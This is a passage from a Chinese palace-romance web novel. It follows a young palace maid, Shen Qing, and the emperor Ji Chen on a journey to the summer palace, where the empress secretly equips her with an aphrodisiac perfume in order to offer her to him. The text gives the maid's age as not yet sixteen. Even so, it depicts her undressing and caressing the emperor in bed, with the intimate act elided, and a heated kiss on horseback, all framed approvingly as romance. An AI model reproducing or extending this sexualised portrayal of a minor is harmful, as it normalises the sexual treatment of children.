反观沈青,笑得是那样柔和轻松,仿佛真的只是想让他摸一摸她的心肝,但她藏着戏弄的眼眸却显示出她知道她在做什么。 她想看纪宸出丑。 虽然他天子般的威严確实很迷人,但正是这样,打碎起来才觉得爽快不是吗? 纪宸哑然失笑,将沈青狠狠揽进懷里,在她耳边道:“想看朕的笑话,嗯?” 手中的大掌被挣脱,复又握到自己的腰上,沈青趴在纪宸的肩膀上,无辜道:“您冤枉我。” 谁会承认自己是个一肚子坏水的小坏蛋呢。 纪宸被沈青撩拨的上头,全然忘了他方才还在数落沈青瘦了这件事。 他将沈青从怀里拎到眼前,注视着她,隐晦磨牙道:“从哪里学来的这招?” 沈青的眼神飘忽不定:“不懂陛下在说什么。”并妄图从纪宸身上逃走。 纪宸摁住她,不准她乱晃。 沈青这才老实下来。 只听纪宸语气沉着道:“卿卿,你还小,朕不想将男人粗鲁的手段用在你身上,你也不要去学这些東西,等到了时候,你真正明晰情爱是什么东西,朕自会去找嬷嬷请教,你喜欢什么,朕就去学什么,可好?” 实在不必来考验他的耐性,挑逗他的底线,他也是人,更是个男人,总有克制不住的时候。 沈青不服,努努嘴。 纪宸平复道:“你要说什么?” 沈青小声抱怨:“您怎么跟我爹一样。” 当然,沈父是个开明的父亲,她在家时也年龄小不会和她说这种东西。在这里,她只是想说,纪宸管教的有点多。 纪宸闻言心里一酸,他確定了,这就是个没心肝的! 他面上失笑,描补道:“朕二十又一,只比你大了五岁多一些,朕不觉得这个年龄很大……” “哎呀!”沈青搞不懂他在说什么,当即亲上了他的薄唇,将他的话封了起来,确定他不再说话,这才缓缓移开。 并抢先一步开口道:“是是是,您风华正茂春秋鼎盛,看不上我这个小丫头片子,那您去找相宜您年龄的妃子,我去找大我五岁能包容我年龄的男人!” 沈青抬着下巴,挑着眉,就差没叉腰似的向他宣战了。 “说什么浑话!”纪宸刚要生怒,转而听明白沈青的话,语气顿时放软,带着说不出的暗爽与自豪道,“比卿卿大五岁的男人不正是在这里吗?” 纪宸目光炙热地看向沈青,但沈青小猫般高傲的模样俨然更夺目耀眼。 他的目光不如卿卿自身光彩的十之一二。 “哦?”沈青微笑,目光扫了他一眼,“可我怎么没发现,难道是陛下?” 纪宸被她这一来一回的打岔,早忘了他方才失笑也掩饰不住的伤感,被沈青引着点头:“朕再也不拿卿卿的年龄说事了,朕保证。” 沈青满意了,这才软了身子,跟无骨的蛇一样懒散地趴在纪宸宽阔的胸膛上:“不必皇上保证,我自是信的。” 她嘟囔着一一抱怨:“再过一个月我都十六了,翻年都十七了,虚岁都十 八了,还把我当小孩子看。” 纪宸:“……” 这副模样如何不让他多为她考虑一些? 还是个娇娘子啊,听不得旁人说她年龄轻。 纪宸抚着沈青的乌发,默默听着,骤然他问:“那你这招是从哪里学来的?” 沈青不设防道:“话本上啊。” “什么话本?” “《霸道王爷爱上我》” 纪宸:“……” 沈青:“……” 最终是纪宸的一声轻笑打破了銮驾嘎然而生的肃静。 沈青一抹脸,佯哭道:“我没脸见人了!陛下您居然套我的话,这,这怎么能用在我身上?” 有一就有二,纪宸道歉的速度再没有这么快了:“朕的错。” 沈青用手捂住的眼中闪过一抹狡黠,缓缓道:“但是赔罪可不是嘴上说说的,若只是说自己错了,这多没诚意啊。” 活学活用,沈青默默给自己点了个赞。 但面上,她仍装出一副悲情的模样。 纪宸愕然,居然有人想占皇帝的便宜? 不过即便他的一个承诺意义非凡,他还是道:“那姑娘要朕如何给您赔罪,您方能恕罪?” 沈青放下手,笑得像只小狐狸,透露着不怀好意,脸上亦不见半点泪珠。 这时纪宸怎不知他被坑了,但他只含笑静待着。 沈青的声音清婉娇细:“奴家也想摸一摸皇上您的心肝。” 听明白这句话是什么意思后,纪宸的耳根红透了。 第60章 第60章宫女六十日 纪宸目露一丝笑意,执起沈青的手放到胸膛上:“朕的心脏尽皆握在你的掌下。” 如果光凭沈青的几句撩拨纪宸就方寸大乱,那他就不是当初那般将沈青拉上床榻的人了。 沈青未免也太小瞧他了。 见纪宸这么快就镇定下来,沈青是有些失望的,但本着不摸白不摸的想法。 她顺势按了按,硬邦邦的,跟个石头似的,绣了龙纹的衣服什么质感她手中就是什么质感。 这……完全不公平! “隔着衣服算怎么回事,您身为天子,坐拥天下富有四海,怎么能对一个小女子这般小气,您就不能大方些吗?”沈青气恼地对着他的胸襟指指点点。 纪宸将问题抛给她:“青天大白日如何讓朕大方?” 沈青趁着手还放在纪宸身上正低头对他上下其手,虽是一点肉渣,但描摹一下胸膛腰腹的形状也能少吃一点亏。 闻言不乐道:“方法定然有的,您就是不愿意。” “您道歉的态度一点都不诚恳。”她旋即又道。 沈青的话音甫落,她的视野顿时开阔,感受到身体的陡然上升,她的双手赶忙扶到纪宸的肩膀上。 再一看,原是纪宸将她抱坐在了他的手臂上,以至于她的腰部没了支撑,只能将手搭在他的肩膀上。 沈青低头看向纪宸,这个姿势下她比纪宸都要高小半头,眼中不禁流露出新奇。 不过她还没明白纪宸要干什么。 “去床上。”纪宸言简意赅道。 他不想沈青看向他的目光流露出失落,亦不想自己的承诺变得一文不值。 沈青不由莞尔,尚认为他是受不了自己的激将法。 纪宸就这么抱着她绕过绘有山水半折而立的屏风,走到床榻边才将她放下来。 纪宸利索地伸手寬衣解帶,露出里衣,躺下,背倚在叠起来的被衾上,面向床边,用尽量平静的目光看向沈青。 他准备好了,沈青反而有些手抖。 从纪宸解衣她就有些懵了。 不是,来真的? 沈青这才发现她其实只喜欢口上花花,论行动力还是纪宸更胜一筹。 坦白来讲,纪宸根本没露什么,皇帝的服制本就复杂,他解了半天不过是将些外衣扔在床边,柔软纯白的里衣还服帖地穿在身上,連锁骨都半露不露。 可这副样子仿佛是专等着她来掀开最后一层。 更惑人了。 紧接着,沈青便做了一个错事,她将床幔放了下来,因为手抖,好几次都没成功,但她尚没有充足的勇气面对纪宸,自然在这上面较劲了,妄图拖一拖时间。 床幔放下前,沈青只是觉得床榻的位置有些小。 銮驾上的床不如纪宸在乾清宫寝殿的龙床寬敞,只能松松睡下两个人。 但纪宸是个男人啊,身形本就阔一些,且他半躺在正中间,留给沈青的位置就更小了。 而床幔放下来后,床榻的四角天地一下子变得私密且暗昧。 床幔是半透光的,放下后,不止外面被遮挡住,床榻间的光线也一下子变得昏暗起来,但又不是那种完全看不清的。 朦朦胧胧,亦多出了些氛围。 沈青在床幔垂落前不期然看了一眼纪宸,他脸上的轮廓在光影下显得神秘出彩,然神情晦暗,目光驳杂,盯住了她。 像夕阳过后夜将现时的那抹黑,只待吞噬整个天空。 沈青抑制住拔腿就跑的冲动,脱下绣鞋整齐摆在床边,深吸一口气,拨开床幔,像一尾鱼一样跃了进去。 她輕手輕腳爬到纪宸身边,见他一副垂目任由她施为的模样,于是伸手到轻掩着他的锁骨的里衣边边處。 此时床榻间的氛围与白日晚上时都不同,他们能看清彼此,却非那么清晰,他们尚未相互靠近,呼吸便已隐隐交融,光线透过账幔的斑驳光影又帶上了账幔本身的颜色落下,溫度也仿佛在这狭小空间中升溫了。 他们方才坐着的地方旁放着冰鉴,虽是凉爽,但肌膚摸起来却带着凉意,根本无法一点就燃。 而现在纪宸的皮膚是温热的。 沈青的手白如柔荑,润如羊脂,指甲上带着明显的粉意,看得出被养护得很好,她的手落到那白锦的里衣上,竟讓纪宸生出低头啄一啄的冲动。 但他更想看沈青如何做,于是眼中一晦遏制住了这个念想。 沈青的手指微凉,因为她在床榻外呆的时间略久以及整个人都在不由自主的紧张。 沈青的眼睛发直,无意识地别开里衣摸上纪宸宽大的锁骨,许是这里有些暖和,她蹭了蹭,把自己的指腹也蹭上了温度。 她的头靠在纪宸的颈窝处,两人的黑发缠绕。 然后,她的手开始往下,落到纪宸的胸膛上,不过两三下,沈青已经觉出了滋味,未免纪宸打搅,仰头吻上了纪宸的唇角。 纪宸低头,将唇奉上,因皮肤被抓揉而難耐的喘息尽封唇中。 明明没什么声响,莫名的氛围在狭小的空间中流淌。 蜜的能拉丝。 …… 从头到尾两人都是无言的,直到最后结束,纪宸抚着沈青疲累的眉眼,低哑道:“睡吧。” 沈青这才沉沉睡去。 沈青再次醒来已经是下午了,从皇城出发时是辰时,她是巳时来找纪宸的,现在已经是申时初,再过一个时辰,人馬就該停驻了。 她茫然地看向床帐,想起自己睡前对纪宸做了什么,脸颊瞬间发烫。 还不待她起身,就听见外面有刻意压低的说话声,是纪宸在面见大臣。 去避暑山庄一連几个月不回京,政事却得及时處理,所以大臣自然得捎上,其他需要锻炼的勋贵子弟,他们的家眷奴仆,人数庞大,队伍从头看不见尾,只能隔一段距离以旌旗相照應。 虽不是事事都要纪宸这个当皇帝的来裁夺,但臣子也需向上汇报,这么一来,他自然要忙一会儿。 沈青重新躺下,等纪宸忙完。 这名臣子走后,纪宸吩咐钱繼道:“若还有人来,讓他们等晚上到行宫再来向朕禀报。” 钱繼称是。 沈青起身,她的衣襟没有乱,移到床边穿上鞋子,再简单收拾一下便能见人了。 她掀开床幔的弧度让外面时刻关注着此处动静的纪宸看到,便开口让钱继先离开。 钱继一头雾水,迅速退下。 这个时候赋雪姑姑都走了许久了,皇上还没将沈青姑娘放回去吗? 沈青从屏风后面出来,第一眼见到的便是纪宸,他正望向她, 见她出来,伸开了胳膊。 纪宸已经换了一套衣服,但穿在他身上依旧俊逸不凡。 沈青不作犹豫地扑入他怀里。 纪宸被她的动作取悦,发出笑声,带着浓浓的愉悦:“睡好了?” 沈青点了点头:“我得走了。” “用过膳再走,朕让人送了一些膳食和冰酥酪。” 沈青听到冰酥酪便不想立即离开了,遂被纪宸牵着手落座。 醒来后的沈青话少,纪宸一看便知她在害羞,因为知晓自己做了什么,所以也難得乖顺起来。 看着沈青细嚼慢咽的用膳,纪宸便也用了些。 直到沈青放下筷子,端起冰酥酪津津有味地品尝起来他才意识到了什么。 纪宸尽量用温和的语气问:“这就不吃了?” 沈青闻言看了眼冰酥酪,她特意为它空出的肚子,但在纪宸面前吃这么少好像也不應該,便试探性地执了一筷。 咽下后,纪宸仍旧不满意。 沈青也就不强求了:“我每日需要耗费精力的事情少,饭量自然就小了,吃多了难受也会生病,不如根据自己需要的分量来用。” 纪宸闻言不再劝,只心里默默把骑馬射箭提上日程。 沈青的力气他是知道的,攥紧拳头锤人便是他也受不了,别看娇娇弱弱,应是个弯弓搭箭的好苗子。 纪宸没有疑惑,沈青舒心之余,美滋滋将冰酥酪吃完,最后一口咽下,她也饱了。 离开銮驾后恰好对上钱继怔愣的目光,沈青讪笑了一下便溜走了。 她今日呆的时间确实长了,连午膳都推迟到现在。 有赋雪打掩护,沈青顺利地没引起什么注意就登上了馬车。 一连六日,在去避暑山庄的路程中,纪宸和沈青总会找机会相处一会儿。 直到第六日,纪宸携一部分人去早已划好的校猎场地,既是锻炼,如何能先去避暑山庄歇歇腳,不若早一步到,提前搭好帐篷,士气也能高涨些。 队伍训练有素的分为两拨,旗帜更鲜明的正是纪宸领头的,他披坚执锐,翻身上了一匹强壮的黑色大马,马儿的皮肤光滑,在阳光下熠熠生辉。 他的天威,比健壮的马儿还要盛上几分。 留下来的这一队,则由御林军护卫着前往避暑山庄。 马车再次开始行驶。 这日傍晚,他们抵达了避暑山庄的正门,由皇后主持大局,让庄子上的宫人引着家眷嫔妃去各自屋舍先行歇下。 沈青下马车正要离开,一名宫女叫住了她:“沈青姑娘,我们婕妤对院舍的安排还有些不明白,可否请姑娘去一趟?” 沈青认出,这是嫣婕妤身边的星羅,便道:“这事我不清楚,并不能为嫣婕妤解惑。我是大皇子身边的人,大皇子离不开人,我便先走一步,还望嫣婕妤见谅。” 星羅想拦,沈青已经绕开了她叫上赋雪一同离开。 “赋雪姑姑。” 星罗听到这声姑姑,被赋雪的眼神一打量,便退缩了,没敢再拦,目送两人双双离开,终是跺了跺脚,回去禀明嫣婕妤。 赋雪用询问的目光看向沈青。 沈青微微思索道:“嫣婕妤好似要见我,应是没什么好事。” 避暑山庄虽凉爽但水多,她恰好不擅水,若是年年都来这避暑,她也该学学泅水了。 沈青对赋雪道:“赋雪姑姑,在避暑山庄我不会主动去见任何嫔妃。” 若是有,那必定有猫腻。 赋雪慎重地点头应下。 她对沈青的行踪了如指掌,以便皇上随时询问。 沈青亦是清楚,才这般说与赋雪。【你现在阅读的是 】 60-70 第61章 第61章宫女六十一日 避暑山莊的占地颇大,不仅有水有山林,还有大片平原,湖泊溪流更是数不胜数,亦有用于礼佛供奉的寺庙。 相比于皇宫的金碧巍峨,避暑山莊内的景处处透着自然雅趣,供人居住的院落也多是江南园林样式。 太后住在松鹤斋,皇后则住在如意洲的水芳岩秀,大皇子跟着皇后住,在東暖阁。 沈青和賦雪抵达水芳岩秀,恰好见到章才人伴在皇后身邊,正拿着一双小小的虎头鞋要送给大皇子:“这是嫔妾在馬车上闲来无事为大皇子做的,希望作为百兽之王的老虎能为大皇子避邪护身,就是不知大皇子穿上合适不合适,还請娘娘莫要嫌弃嫔妾多事。” 章才人手中的虎头鞋上面的虎目炯炯有神,是用金线绣制的,鞋面的针脚也很细密,不输宫里的绣娘。 光是一眼便知用了好大一番心思。 皇后的目光落到鞋子上,便先露出了三分笑意。 討好大皇子,向来比討好她还要事半功倍。 皇后接过,夸赞了一声章才人的绣艺,将鞋子递给身旁的宫人,看着章才人道:“你有心了。” 章才人腼腆地笑了笑,温順谦恭,眉眼透着些许稚气。 她原本不想这么早投靠皇后,也心知皇后看不上她,她在宫中虽恩宠平平,但吃穿用度皆没什么不足,她亦没什么野心,就想一年一年的慢慢熬。 左右皇上还正值壮年。 但瞧今年的形势,如果皇上往后都如今年这般狩猎,到行宫居住,她就得争一争了,至少也得得皇后看重,不然,日后随行的名单上有没有她还是两说。 且皇后的地位穩固,又有大皇子,宫中子嗣都順利诞生,瞧着也是个賢惠的主。 于是章才人又道:“娘娘,嫔妾在宫中没什么认识的嫔妃,难免孤寂无趣,若每日請安后能在娘娘身邊多留一会儿,嫔妾便心满意足了。” 章才人尚小,说话没什么弯弯绕绕,也更直白。 皇后不语,目光扫过章才人的脸庞,直把章才人扫紧张了才开口道:“本宫这里哪比得了皇上身边,章才人既有心思,讨皇上欢喜才是最紧要的。” 语气平穩但颇有很铁不成钢之意。 【皇上不爱宠幸高位嫔妃,此时正是这些小嫔妃出头的时候,若非发现章才人不热衷于争宠,本宫又何须放着她不用?】 【现在不争宠,难道等着年老色衰时才求皇上垂怜吗?】 【选秀三年一次,今年平淡无争能活得好好的,但不代表年年都如此,更何况章才人只是一个才人,即便得宠的不将她放在眼里,那底下的奴才就会一直敬着吗?真是不争气。】 皇后这般说,章才人听后脸上露出失落,但仍不气馁地巴巴望向皇后:“皇后娘娘,非是嫔妾不想讨皇上欢心,而是皇上待嫔妾平淡,嫔妾又笨嘴拙舌,多说一些,定会惹皇上厌烦。” 皇后道:“不试试怎么知道?” 章才人低头:“嫔妾恩宠本来就少,再让皇上烦了嫔妾……” 不争不错,少争少错。 即便得宠,除非有孩子傍身,短时间内根本没机会升位份,不如本本分分熬资历来得安稳。 皇后见章才人如此执拗,眼中不由流露出失望,但到底看在她是个纯粹之人,亲近大皇子也没包藏祸心,便道:“你若是不嫌本宫这里平淡,请安之后留下又何妨?” 章才人抬头,眼中闪烁着不可思议,扬唇笑道:“嫔妾开心还来不及,怎敢嫌弃?” 皇后此时下了逐客令:“天色渐晚,本宫让宫人送你回你的住处。” 章才人点头应下。 她心心念念着此事,到避暑山庄连自己的住处都没瞧上两眼,就赶忙来了皇后这里。 章才人走后,皇后又抱着逗了会儿大皇子,然后收回手 :“将璨儿抱下去吧。” 宫人依令行事,皇后目送大皇子被抱走,却独独叫住了沈青,这时她的眉间帶了几分疲乏之意。 章才人来是她未意料到的。 沈青上前搀扶住皇后,低眉敛目:“娘娘?” 皇后的目光落到沈青身上,停顿了一下道:“近日无事不要到人前,亦不要出水芳岩秀。” 虽然賢妃德妃留在了宫中,但嫔妃中人精一样的人却不止一个。 她可不想这枚棋子还未用便被人为废了。 【若非章才人拿不出手,本宫也不会……】 【贤妃身后有太后,德妃不仅笼络住了楚贵人,李美人也愿意辅助她,甘心为堂姐生孩子,然而本宫在皇上身边有个能说上话的都没有。】 沈青早已练就了无论听什么都神色如常,皇后这个打算虽意外但也在情理之中。 若非去岁她在太后宫中取悦了皇后,恐怕那日过后皇后便会将她推出去。 终是留了她这么长时间。 沈青轻声道:“是。” 即便皇后不说,她也不想显现在人前,是生怕不能给皇上不在避暑山庄正一身劲儿没地方使的嫔妃找乐子吗? 皇后示意青古将東西拿出来。 青古把一个精致的雕花小盒子交给沈青,沈青改为单手搀扶着皇后,将盒子收下,目露疑惑。 皇后道:“这是西域新进贡的香膏,聞起来甜而不腻,自帶一股淡淡奇香,只此一盒,是本宫特意去向皇上讨要了过来。” 这么贵重的东西落到她手里,沈青心里自然惴惴,即便她明白皇后想让她做什么。 “本宫要你日日沐浴之后涂身,不能有一日懈怠,常用此香的人身上会长久留有此香味,经久不散。” 沈青漂亮是漂亮,但身上淡如白水,寡淡无味,若是补足,便完美了。 她想了许久,嫣婕妤太过妖媚非是皇上所喜,但因颜色好,皇上待之也不差。 既如此,抽条后宛如脱胎换骨的沈青十有八九能让皇上贪恋一段时间美色。 等两年后新人进宫,届时沈青若失宠,她也有了人手可用。 沈青张了张嘴,复又闭上,看了青古一眼,终是犹豫道:“娘娘,奴婢近身侍奉大皇子,不知这香膏可会对大皇子有害?” 皇后搖了搖头:“青古查看过,大皇子不会对这香膏不适,但稳重起见,你少抱璨儿些,贪恋女子臂弯的皇子,如何能成大器?” 皇后更想说的是,如何能成太子? 沈青无奈,提醒道:“娘娘,大皇子还小。” 而且您方才还抱的很欢心。 皇后仍是摇头:“不小了,馬上就会说话了。” 沈青:“……” 皇后反握住沈青的手,认真看着她道:“本宫能信赖的唯有你了。” 沈青垂首,没给什么震天响的保证,只是道:“奴婢知晓了。” 她想的明白,反正总要做嫔妃,何不乘皇后的东風。 这样她便天然是皇后的人,皇后想用她,亦会护着她。 皇后见状很是满意,扶持起也舒心不少。 若是遇见个知事后便张狂得意起来的,她才该头疼,安安静静不闹事,这便很好。 沈青从皇后身边退出来,遇见賦雪,两人一起往暖阁走去。 路上,沈青将这件事说与了赋雪。 赋雪拿到香膏,聞了闻,道:“没什么问题。” 沈青将香膏重新收回去,让赋雪检查,也是多一层保障。 赋雪明年出宫,背后又只有皇上一人,比任何人都要可信。 接下来的半个月,沈青果真哪儿也没去,日常就是按照皇后的吩咐打理自己,确保露面时能叫人一眼惊艳。 这人自然是过几日便会来避暑山庄的皇上。 除此之外,嫣婕妤的人又来找了她一次,皇后听闻叫人挡了回去。 沈青收到了皇后让青古送给她的钗环,宫女的钗环宫中虽然会发放,但也允许宫女戴些自己的首饰,只要不出格亦或违规宫制。 皇后送来的是莲花式样的银制钗环,本应很趁沈青的气质,但她乌发太多,银制的便显得存在感小了些,能戴,但不突出。 沈青将之簪入发中后,青古端详了一会儿,道:“我会告诉娘娘换成玉的,莲花不用改,很合宜。” 她又道:“待会儿会有人来给你量体裁衣,平日的衣裳不显你的身段,腰还是掐出来的好。” 沈青乖乖应下:“好的,青古姐姐。” 她并未对被这般肆意打扮生出抵触情绪,反正美的还是自己。 不知道那香膏是否有调理皮肤的功效,除了身上香了些,她竟然发现,短短时间里,她的肤质更细腻润滑了,很好摸。 不愧是只此一盒的香膏。 沈青美滋滋想。 送走青古,沈青坐下来听着屋外潺潺的流水声,清風拂过,即便没有冰,也一点都不闷热,她惬意地沏了杯茶,然后支着下巴观景。 皇后安排的一切都好,就是膳食上,只让她吃清淡的,尤其皇上快要回来了,在这方面就更严苛了。 时间如流水,慢悠悠就晃到了六日后。 皇上这次举办的狩猎共计二十一天,在举行过庆功宴后,队伍便已开拔往避暑山庄这边奔来。 大约半日,就要到了。 与皇上的消息一同递来的还有宫里的李美人生下三皇子。 皇后心中十分遗憾李美人生的不是公主,以及贤妃居然没有对李美人腹中的孩子出手。德妃得了三皇子,只怕又要抖擞起来了。 皇后放下这些想法,携嫔妃去迎接皇上。 沈青亦收到了皇上将要回来的消息,她慢慢思索着,从皇后的想法来看,她是想着趁皇上这二十天来未幸人,正是憋久了的时候,将她顺势推出去。 所以不是今天晚上,就是明天了。 又过了一个时辰,沈青再听到消息便是说皇上回来后第一件事是带着皇后及嫔妃去太后所住的松鹤斋请安。 其中蔣才人得太后喜爱,住在松鹤斋西暖阁,日日陪太后礼佛,因此,在皇上请安时,太后便提了蔣才人。 皇上夸赞了一番,他是孝子,对能安心侍奉母后的嫔妃自然会另眼相看。 顺着提到李美人产子,他道:“李美人产子有功,诊出有孕时朕便该晋她位份,但德妃说顺利生产后再晋也不迟,朕觉得言之有理,便允诺了。现封李美人为婕妤,圣旨稍后着人快马送去京城。” “才人蔣氏,对太后照顾的细致周到,便封为美人。” 蒋美人喜出望外,行礼谢恩。 众人讶然,皇后更是觉得蒋美人此时受封,晚上召幸的机会极大,那她的计划不就只能推迟了吗?心中不由失望。 嫔妃们皆以为皇上会将蒋美人带去他的寝宫烟波致爽,蒋美人亦是这么认为,神态羞谨地看向皇上。 然而,皇上向太后告辞后却未带嫔妃地离开了。 传消息的人告诉沈青,皇上现下应该回寝宫了,让她早早歇息。 沈青颔首,目送人离开。 外面折腾了这么久,天上已经挂起了一两颗星子,然月光洒下,外面亦亮堂的惊人。 她起身将灯吹灭,准备将窗户合上睡觉,却在转身之际,刚关上的窗棂传来几声叩击。 想着皇后的地盘应该没有贼人,她便打开了窗准备看看是谁。 开窗后,沈青一愣。 贼人没有,外男却有一个。 “皇上,您怎么来了?” 沈青是毫无防备,惊呼出声,但纪宸却早有准备,但仍是被低眉开窗复又抬眼的佳人给惊艳到了。 心中只闪过四个字:月下仙子。 淡淡的香气顺着打旋的风飘散到鼻尖,纪宸吸了一口,心脏鼓噪的厉害。 “收拾收拾出来,朕带你去骑马。” 二十日不见,不止纪宸的脸 庞坚毅了不少,声音亦变得沙哑烈性了,像烈酒。不期然,沈青想到,他的手定然也粗糙了,摸人许是生疼。 沈青胡思乱想着,不忘连忙应下:“好!” 此刻,她心中是欢喜的。 第62章 第62章宫女六十二日 沈青收拾好出来,纪宸从钱继手中接过一件浅蓝色的薄披风,披在她身上,然后在她身前系了个结:“你体弱,莫要着凉了。” 这么长时间不见,小宫女的身姿愈发纤纤,飘然是飘然,但纪宸更怕握不住。 仿佛下一刻就会化成风逸散在手中。 沈青低头看他的动作,在他后退一步朝她伸手后将手放到他的手心。 不需要问他奔波一日又辗轉到太后处,为什么不先歇息,反而走小路来找她。 一切都是那么显而易见,他惦念着她,一刻都不能等了。 纪宸牵着沈青没有驚动任何人地离开水芳岩秀,出来后沈青便已经不甚熟悉周围的环境,只见几名侍卫和乾清宫的小太监在此候着,一名侍卫手中还牵着纪宸的那匹黑色大马,马儿正来回踏着蹄子,见到纪宸,便立刻精神起来。 纪宸这才松开握緊着的手,侍卫将缰繩交给纪宸,纪宸接过后,踏空一蹬,便翻身上马,然后俯身看向沈青,伸出手。 这马实在太高了,于沈青而言上去便是一件难事。 但出于对纪宸的信任以及对骑马的跃跃欲试占了上风,沈青伸手,握緊纪宸的手掌,等待他接下来的动作。 纪宸直起身的瞬间骤然发力,将人拉上了马坐到他身前。 沈青窝在纪宸怀里,因早有准备,她甚至没有发出驚呼,坐穩了后,还调整了下姿勢,興致勃勃地看向前方:“皇上,我们走吧。” 纪宸将人扣在怀里,脸颊貼到她的侧脸处,狠貼了一番,感受到久违的绵軟馨香,才直起身,拉着缰繩,让马跑起来。 心中别提多愉快了。 沈青则是目光一呆,不敢相信就剛剛那么短的时间纪宸还能得空用脸蹭她。 反应过来后她捏緊拳头不輕不重地锤了纪宸一下。 并不依地目露凶光。 纪宸感受到沈青的动作,輕轻笑了笑:“跑起来后风大,若是脸吹疼了,记得埋进朕怀里。” 虽然他们之间親親碰碰已经很普遍了,但沈青还是羞涩的,尤其是这时的纪宸与二十天前真的相差良多,好似突然洒脱起来了。 一举一动没了贵公子般的礼仪,甚至有点糙,让人忍不住探究他在夏藐的这段时间究竟在干什么。 不过不止纪宸有所改变,沈青亦变得内敛含蓄起来,不仅是因为皇后对她的要求,让她一举一动变得柔和清雅起来,还有她自己一想到这几日她就会被皇后推给纪宸,要与纪宸装不熟,就深感难为情。 然而纪宸这个蹭脸的动作一下子打破了沈青身上堆积的静谧气质,重新让她变得鲜活生动起来。 可恶,纪宸根本没分寸,蹭的她脸疼! 而且好不容易有跑马的机会,她才不会缩进纪宸怀里。 于是沈青身体前倾,随着马儿越跑越快,状似要跳出去。 这马興奋的跟疯了一样。 身体的颠簸不是沈青所预料的,她心脏狂跳,跟藏了只蹦来蹦去的兔子似的,于是雙手开始寻摸起纪宸的手掌。 好在纪宸牢牢握住她的腰,不动如山,穩稳地拦着她。 似乎只要有他在,便没什么好怕的。 跟他宽大的手掌一样让她十分安心。 纪宸来过避暑山庄,知道哪里适合跑马且无人,便驱使着马往那个方向跑,越过一些院落,一个广阔的原野映入眼帘。 这片平原连高点的草都没有,一看就很合适。 纪宸趁此间隙看了沈青一眼,发现她的眼睛亮的驚人,一点都没有对这个速度恐惧起来,心中升起赞赏,便仍用这个速度帶她先跑一圈。 平原的风比小筑周围的要大很多,剛在这里跑起来,沈青便受不住了,摸索着披风上的兜帽准备兜头盖上,希冀着略微挡一挡。 纪宸见状,拉起他身上厚重的玄色披风挡在沈青面前。 他驾驭的马是大马,就意味着他的身量不会低,任何女子在他面前都会显得十分娇小。 沈青也不例外,披风糊在她身上,她扯了扯,露出一雙眼睛与额头。 这下,是完全落进了纪宸怀里,但沈青没抗拒。 在纪宸的披风里,她因风吹过而迅速流失的体温渐渐缓了上来。 沈青放松地往后贴去,因马儿往前跑着,她的背随她的动作一贯,严丝合缝地贴到了纪宸的胸膛和腰腹上。 夏天的衣裳薄,纪宸又是去他的寝宫换了身简便的常服才来,加之他火气旺,块块分明又温暖的腹肌便格外明显。 反正沈青不用手摸,只用后背感受便知道纪宸这些天没有偷懒。 她的心一下热了起来,唇边溢出了些笑意。 自然而然,沈青伸手摸了摸。 掐着她腰的手忽然用力,目视前方的纪宸觑了她一眼:“不老实。” 沈青撒娇道:“只是想抱一抱您的腰嘛。” 而且纪宸的声音可没有什么不满,反而帶着淡淡的纵容。 沈青撒娇,不止声音軟,身体也下意识软了下来,柔弱无骨的手安撫地拍了拍纪宸的侧腰。 她只是隔着衣服摸了摸,不要生气啦。 纪宸已经素了许久了,更是在回来前一天晚上的庆功宴上饮了鹿血,本身又是个血气方刚的男人,唯一能让他冷静的估计是啪啪吹到脸上的冷风。 然而怀里紧贴了这样一个软的不像话的人,又不老实的拿手逗她。 本来只是想单纯帶沈青出来跑马的纪宸终是忍不住了,拉动缰绳让座下的疾奔慢下来,然后低头去找寻沈青的唇角。 这种时候他亦需聚精会神地观察周围,防备随时出现的,可能会让疾奔受惊的突发状况。 因沈青是侧着脸,纪宸轻而易举便吻上去了,吻上的那一瞬间他是急躁的,他原本以为可以克制,但真到这一刻,他才发现他跟毛头小子没什么两样,都是那么迫不及待。 他的好性子在沈青身上似乎也不复存在了。 沈青此刻心中大惊,不是吧,他们在马背上,马还没停下来,纪宸这是在冒着坠马的风险都要親。 真是不要命了! 一瞬间,冷汗布满了沈青的后背,她根本没法品出什么滋味,且马即便在慢下来了,马背也是颠簸的,而纪宸太急,又不管不顾,以至于沈青的牙齿猝不及防磕到了他的舌头上。 沈青惊惶地品尝到了铁锈味。 而纪宸,却更兴奋了。 沈青被吻的天旋地轉。 唯一值得欣慰的是疾奔停了下来,纪宸不拉着缰绳驱使它,它便好脾气地停在原地。 许是这个姿勢太为难两人,在短暂的歇息时,纪宸握着沈青的腰,将她完全转了个向,让她面对着他。 然而纪宸这样一声不吭的大动作,让沈青根本没法及时给出回应配合他。 以至于原本应该跨坐在纪宸面前的她,反而跪坐着,膝盖上支撑的不知是纪宸的大腿,还是马鞍,双手无处放置只能搁在纪宸的肩膀处。 跪坐着的沈青注定要比纪宸高一些,纪宸也只能抬头看她,催促着她低头,双手牢牢握住沈青的腰,防止她脱力摔下去。 沈青是有些生气的,但面对着纪宸急不可耐的样子又觉得有些好笑。 她喘气商量道:“慢一点行吗?” 纪宸眼尾往下垂,显露出些许委屈,声音带着干哑:“慢下来舌头疼。” 这……真是无法拒绝。 也实在是合情合理。 沈青占据着优势,心中气闷,捧住纪宸的脸颊,低头恶狠狠地咬上他的唇,吻进去。 纪宸沉浸于此的眼眸中闪过惊喜,恨不得沈青再努力一些。 吻过后,两人从马上下来,因为刚刚的姿势亦有些费力,且沈青的膝盖会受不了。 然而下来后,两人黏黏糊糊的仍没有分离。 亲吻是倾诉思念,安撫对方的最好方法。 纪宸抬起沈青的下巴,低头细细密密温柔地结束了这场温存。 “朕想着你会喜欢,便从外面带回来了一只幼猫,现下正养在朕的寝宫。” “要不要去看看?” 纪宸是打定主意要把沈青拐回去,只是亲一会儿怎么能够,得 紧紧拥在一起才能稍稍缓解内心巨大的空虚与不满足。 纪宸的披风下太暖和,沈青依偎着他,懒懒道:“有的是机会看。” 明天面对皇后的举荐,他能忍着不将她带走? 纪宸没品出沈青的意思,虽是失望,但没表露出来,一脸稳重地亲了亲沈青的眼尾。 因长久停留在这儿,沈青身上的香气没被风吹散,虽不浓烈,但能清晰嗅到。 “你用了香?”纪宸皱眉,他其实早在刚见面时就想问了,但当时只顾着欣喜,以及满心满眼皆是她,便没来得及问。 沈青点头,还不待说是皇后送的,便被纪宸的一句话冲击地一愣:“这香能勾起男子的情欲。” 作为皇帝,他在这方面见过的阴私不少,且都是冲着他来的,在马上他轻易动情便有所猜测。 虽然往日的记忆不算愉快,但沈青用却大为不同了。 他龙心大悦道:“你喜欢朕。” 